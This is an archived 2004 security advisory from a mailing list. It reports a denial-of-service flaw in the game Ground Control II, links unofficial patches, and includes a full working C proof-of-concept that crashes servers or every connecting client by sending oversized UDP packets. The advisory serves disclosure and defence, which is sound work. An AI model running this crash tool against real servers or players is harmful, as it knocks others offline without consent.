Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NT] Ground Control II Broadcast Forced Exit (DoS) |
|---|---|
| Date: | 30 Aug 2004 16:59:42 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Ground Control II Broadcast Forced Exit (DoS) ------------------------------------------------------------------------ SUMMARY <http://www.groundcontrol2.com> Ground Control II is a futuristic strategy game developed by Massive Entertainment (http://www.massive.se) and released in June 2004. Due to a coding error, both client and server are vulnerable to a simple attack that will cause them to exit when receiving a sufficiently long packet. DETAILS Vulnerable Systems: * Ground Control II: Operation Exodus Immune Systems: * Ground Control II Massive Entertainment servers The game automatically exits if it receives a packet bigger than the max supported size (usually 512 bytes) because some instructions check for the socket error "Message too long" and consider it critical. Both servers and clients are vulnerable, however the problem only affects the clients as a single malicious server is able to automatically (or directly) crash any client in the world so nobody can play online. Patch Availability: Only the massively multiplayer online servers are immune to this problem and considered safe. An official patch for the client software hasn't been released yet. An unofficial patch for the dedicated server (version 1.0.0.7) and the demo (version 0.0.8.1) is available at the following URLs: <http://aluigi.altervista.org/patches/gc2ds-1007-fix.zip> http://aluigi.altervista.org/patches/gc2ds-1007-fix.zip <http://aluigi.altervista.org/patches/gc2-demo0081-fix.zip> http://aluigi.altervista.org/patches/gc2-demo0081-fix.zip Proof of Concept: /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #define ONESEC 1 #endif #define VER "0.1" #define PORT 42001 #define BUFFSZ 2048 #define BOOMSZ 1024 // 513 is enough #define TIMEOUT 3 #define INFO "\x58\x00\x00\x00" /* build */ \ "\x52\x00" /* protocol */ \ "\x0a\x00\x00" /* gameinfo */ /* this packet is not important, you can also use random data */ void show_gc2info(u_char *data, int len); void unicode2char(u_char *data, int len); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, psz, on = 1, type, doubt = 0; u_short port = PORT; u_char buff[BUFFSZ]; setbuf(stdout, NULL); fputs("\n" "Ground Control <= 1.0.0.7 server/client crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\nUsage: %s <attack> [port(%d)]\n" "\n" "Attack:\n" " c = broadcast clients crash\n" " s = server crash (can be also directly used versus a client)\n" " You must add the IP or the hostname of the server after the 's'.\n" "\n" "Some usage examples:\n" " gc2boom c listens on port %d for clients\n" " gc2boom c 1234 listens on port 1234\n" " gc2boom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n" " gc2boom s codserver 1234 tests the server codserver on port 1234\n" "\n", argv[0], PORT, PORT, PORT); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif type = argv[1][0]; if(type == 's') { if(!argv[2]) { fputs("\n" "Error: you must specify the server IP or hostname.\n" " Example: gc2boom s localhost\n" "\n", stdout); exit(1); } peer.sin_addr.s_addr = resolv(argv[2]); if(argc > 3) port = atoi(argv[3]); printf("\n- Target %s:%hu\n\n", inet_ntoa(peer.sin_addr), port); } else if(type == 'c') { peer.sin_addr.s_addr = INADDR_ANY; if(argc > 2) port = atoi(argv[2]); printf("\n- Listening on port %d\n", port); } else { fputs("\n" "Error: Wrong type of attack.\n" " You can choose between 2 types of attacks, versus clients with 'c' or\n" " versus servers with 's'\n" "\n", stdout); exit(1); } peer.sin_port = htons(port); peer.sin_family = AF_INET; psz = sizeof(peer); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(type == 's') { fputs("- Request informations\n", stdout); if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("\n" "Alert: socket timeout, probably the server is not online or the port you have\n" " choosen is not exact.\n" " Check the \"unreliableport\" value in the server's informations.\n" " This tool now continue the attack\n", stdout); doubt = 1; } else { len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); show_gc2info(buff, len); } memset(buff, 0x00, BOOMSZ); fputs("- Send BOOM packet\n", stdout); if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("- Wait one second for an exact check\n", stdout); sleep(ONESEC); fputs("- Check if server is vulnerable\n", stdout); if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(doubt) { fputs("\nI can't say if the host is vulnerable, check it manually\n\n", stdout); } else { if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } } } else { if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("Clients:\n", stdout); while(1) { len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); if(len < 0) std_err(); buff[len] = 0x00; printf("%16s:%hu -> %s\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port), buff); memset(buff, 0x00, BOOMSZ); if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); } } close(sd); return(0); } void show_gc2info(u_char *data, int len) { u_char *ptr; int cp; printf("\n Build: %d", *(u_short *)data); printf("\n Protocol: %d", *(u_short *)(data + 4)); printf("\n Gameinfo: %d", *(u_short *)(data + 6)); ptr = data + 9; fputs("\n Server name: ", stdout); unicode2char(ptr + 1, *ptr); fwrite(ptr + 1, 1, *ptr, stdout); ptr += (*ptr << 1) + 1; fputs("\n Map: ", stdout); ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1; fputs("\n External IP: ", stdout); ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1; ptr += 4; cp = *ptr++; printf("\n Current players: %d", cp); printf("\n Max players: %d", *ptr++); printf("\n ???: %s", *ptr++ ? "true" : "false"); printf("\n Dedicated: %s", *ptr++ ? "true" : "false"); printf("\n Password: %s", *ptr++ ? "true" : "false"); ptr += 5; while(cp--) { fputs("\n Player: ", stdout); unicode2char(ptr + 1, *ptr); fwrite(ptr + 1, 1, *ptr, stdout); ptr += (*ptr << 1) + 1 + 6; } fputs("\n\n", stdout); } void unicode2char(u_char *data, int len) { u_char *out = data; while(len--) { *out++ = *data++; data++; } } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif ADDITIONAL INFORMATION The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] Citadel/UX Remote Buffer Overflow Exploit, SecuriTeam |
|---|---|
| Next by Date: | [NEWS] Cisco Secure Access Control Server (ACS) Multiple DoS and Authentication Vulnerabilities, SecuriTeam |
| Previous by Thread: | [EXPL] Citadel/UX Remote Buffer Overflow Exploit, SecuriTeam |
| Next by Thread: | [NEWS] Cisco Secure Access Control Server (ACS) Multiple DoS and Authentication Vulnerabilities, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |